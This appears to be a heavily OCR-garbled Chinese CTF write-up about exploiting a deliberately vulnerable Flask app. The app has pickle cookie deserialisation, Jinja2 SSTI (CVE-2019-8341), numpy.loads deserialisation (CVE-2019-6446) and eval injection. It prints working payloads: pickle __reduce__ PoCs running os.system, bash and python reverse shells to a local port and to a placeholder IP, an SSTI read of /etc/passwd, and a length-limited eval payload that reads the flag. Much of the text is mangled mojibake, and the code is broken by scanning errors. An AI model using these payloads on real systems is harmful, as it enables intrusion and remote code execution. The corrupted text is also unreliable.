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1.python

from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives

import pickle,base64,0s

from jinja2 import Environment

from random import choice

import numpy

import builtins

import io

import re

app = Flask(__name_ )
Jinja2 = Environment()
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)
def get_cookie():
check_format = ['class','+', 'getitem', 'request’', 'args', 'subclasses’', 'builtins',"'{',"'}"']
return choice(check_format)

@app.route('/")
def index():
global Archives
resp = make_response(render_template('index.html', Archives = Archives))
cookies = bytes(get_cookie(), encoding = "utf-8")
value = base64.b64encode(cookies)
resp.set_cookie("username", value=value)
return resp

@app.route('/Archive/<int:id>")
def Archive(id):
global Archives
if id>len(Archives):
return render_template('message.html', msg='XEIDARFELE! ', status='"RK')
return render_template('Archive.html',Archive = Archives[id])

@app.route('/message',methods=["'POST', 'GET"'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form[ 'type'][:1]
msg = request.form[ 'msg']
try:
info

base64.b64decode(request.cookies.get('user'))
pickle.loads(info) //pickle&F%ltt

-~ ru wa

info
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username = 1nto| ‘name- |
except Exception as e:
print(e)
username = "Guest"

if len(msg)>27:
return render_template('message.html', msg="BEARKKT! ', status="BEKK")
msg = msg.replace(' ','")
msg = msg.replace('_"', '")
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status="'%s, & & I ' %username)

@app.route('/hello',methods=["'GET"', 'POST'])

def hello():
username = request.cookies.get('username")
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!").render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)

@app.route('/getvdot',methods=["'POST", 'GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html")
else:
matrixl = base64.b64decode(request.form[ ‘matrixl1'])
matrix2 = base64.b64decode(request.form[ ‘matrix2'])
try:
matrixl = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrixl,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status="'[MEALH")

@app.route('/robots.txt',methods=["'GET"'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True)

if __name__ == '_main__"':

app.run(host="'0.0.0.0"',port="'5000",debug=True)

F—NH: pickle 54k

info

base64.b64decode(request.cookies.get('user'))
pickle.loads(info) //pickle ¢35tk

info

# WL Fpython$h AT fir & 1 B -

0S, subprocess, command



os.system('ifconfig"')
os.popen(‘'ifconfig")
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig")
subprocess.call(['ifconfig'],shell=True)

A&
map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 @<&1 2>&1"',])
sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))

platform.popen("python -c 'import
socket, subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));0s.
dup2(s.fileno(),0); os.dup2(s.fileno(),1);o0s.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"'")

AR 4 B T B B exp 4 48 2 &l it os.system B AT i 4

import pickle
import os
import subprocess
import base64 as bé64
class genpoc(object):
def _ reduce__ (self):
s = """whoami"""
return os.system,(s,)
evil = b64.b6dencode(pickle.dumps(genpoc()))
pickle.loads(b64.b64decode(evil))

pickleflcpickle#R rI LA 4T 7514k, cpicklei® BB — i, 4 sipayloadsh il LA 47 #t & i B flag

__reduce_ BREHIREIF A FHRATA S HEER LA T AT B ¥, PR nf A FEZE, Esystem&E
FEE¥banT :

if "os" or "subprocess" or "commands" or "platform" in pickle.dumps(genpoc()):
exit(@)

HTRABNTATREERGLOTEE, REFNTRZET AR,

loads (str) :

file = StringIO(str)

JE #h iipickleffloads & #tn E iR, ZFhttps://www.jianshu.com/p/8fd3de5b484 3] BALE IR [B] F¢ 51l 4k 4f 4 Bl
n—A™ F W -
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class genpoc(object):
def _ reduce__ (self):

s = whoami
return os.system,(s,)
evil = pickle.dumps(genpoc())

allow_list = [str, int, float, bytes, unicode]

class FilterException(Exception):
def __init_ (self, value):
super(FilterException, self).__init_ ('the callable object {value} is not
allowed'.format(value=str(value)))

def a(func):
def wrapper(*args, **kwargs):
if args[@].stack[-2] 1in allow_list:
raise FilterException(args[@].stack[-2])
return func(*args, **kwargs)
return wrapper

def loads(evil):
#global evil
file = StringIO(evil)
temp = Unpickler(file)
temp.dispatch[REDUCE] = a(temp.dispatch[REDUCE])
return temp.load()
loads(evil)

XFE L RE R M pickle R T FIAL IR, X BIREBURXAE: EARNRTE_ reduce H & NHIE AR LN
Nos.system, Z¥lhwhoami, _ reduce iR[EIKE—TTA,

seit RERP_reduce_ FHIRBBATLLT,

TMZEpickle YRS, @it Unpicklerst £ K dispatch#IREDUCE )& 4 &t At % Xf reduce i i 28 B HE4T B 1



npickler instance at

function loe

Hrstacks &+ 5Lbr L7735 W B R $isystem,  BLES tAT BB it args[0].stack[-2] 5k 3k 8 22 BT __reduce__ #
€ X H)system, #5 RERKZE S B4 RRERT BRI,
¥ _AMfl: CVE-2019-8341 jinja2 ssti
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@app.route('/hello',methods=["'GET"', 'POST'])
def hello():
username = request.cookies.get('username")
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!").render()

is_value = False
return render_template('hello.html', msg=data,is_value=is_value)

XAMA R F Nfrom_stringfi4%, jinja2ilii A/~ F2.10, exploitdbth4s T Bk ffipayload:
E/etc/passwd

{{ '"'._class__._mro__[2].__subclasses_ ()[40]('/etc/passwd').read() }}

Jx #shell:

{{ config['RUNCMD"']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}

&5 5 7T DL B Bl i usernameH . p BN AT
FE=/A: CVE-2019-6446 numpy)x 5> 51|k



@app.route('/getvdot',methods=["'POST", 'GET"'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html")
else:
matrixl = base64.b64decode(request.form[ ‘'matrixl1'])
matrix2 = base64.b64decode(request.form[ ‘matrix2'])
try:
matrixl = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrixl,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status="ME[H")

numpy.loads7E B F4F HR I, 4% F picklef¥iloads 77 2 BUF 51 4L 7 745 &

M2 REF| Hpickletdi& 7 5t poc, &% numpy.loads(), #iEEW A B [F I HUER

import numpy

import pickle

import os

class genpoc(object):

def _ reduce__ (self):

s = """whoami"""
return os.system,(s,)

evil = pickle.dumps(genpoc())

print evil

numpy . loads(evil)

% python n.py
cposix

system

poe

(S'whoami'

pl

tp2

Rp3

triple

B 5 LRI PAS2% . https://github.com/numpy/numpy/commit/a2bd3a7eabfe053d6d16a2130fdcad9e5211f6bb

K 83X B numpy.loads s Fr _E i A i =& pickle.loads, B LA AT DA% BB 1E B pickled B & R EE BB K, 2
1E— 20T DL F BT a2 HIXT B

FHIIANE: evalial]


https://github.com/numpy/numpy/commit/a2bd3a7eabfe053d6d16a2130fdcad9e5211f6bb

type = request.form[ 'type'][:1]
msg = request.form[ 'msg']
if len(msg)>27:
return render_template('message.html’', msg="BEAKT! ', status="BZKK")
msg = msg.replace(' ','")
msg = msg.replace('_"', '")

XEBEEWTeval, I Htypefistr#l £, {H2FE kbypassiim IR, X BRHltype h—NERF, A
RERE& BE| SHIH, pocH A:

>»>» set str( , tos.system( whoami")
""+os.system(’ '
desktop-m186kdl’ 9

Traceback (most recent call last):

File "<stdin>", line 1, in <module>
File "<stdin>", line 4, in set str
File ' <module>

B flagaT L y:

set_str("'","+os.system('cat${IFS}/F*")#")

>>> len("+os.system( 'cat${IFS}/T*")#")

27

X FEpayloadRI i R27TAF4F, feBIREX 2lflag
BE TR BR
A DA 98 $ BT BA AT/
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